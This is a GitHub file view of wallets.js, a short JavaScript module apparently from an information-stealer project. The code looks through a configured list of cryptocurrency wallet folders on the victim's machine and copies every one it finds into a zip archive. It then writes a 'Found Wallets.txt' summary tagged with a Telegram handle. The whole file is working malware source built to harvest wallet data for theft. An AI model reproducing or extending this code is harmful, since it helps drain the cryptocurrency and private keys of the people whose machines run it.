-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathwallets.js
23 lines (20 loc) · 898 Bytes
/
wallets.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
module.exports = (client) => {
return {
async getWallets() {
var description = "";
client.utils.jszip.createFolder("\\Wallets");
for (let [key, value] of Object.entries(client.config.wallets.directory)) {
if (client.requires.fs.existsSync(value)) {
description += `${key}: ✔️\n`;
client.utils.jszip.copyFolder(`\\Wallets\\${key}`, value);
client.config.counter.wallets++;
} else {
description += `${key}: ❌\n`;
}
}
if (description != "") {
client.utils.jszip.createTxt("\\Found Wallets.txt", "<================[ Network Data ]>================>\n<================[t.me/turcoflex]>================>\n\n" + description)
}
}
};
};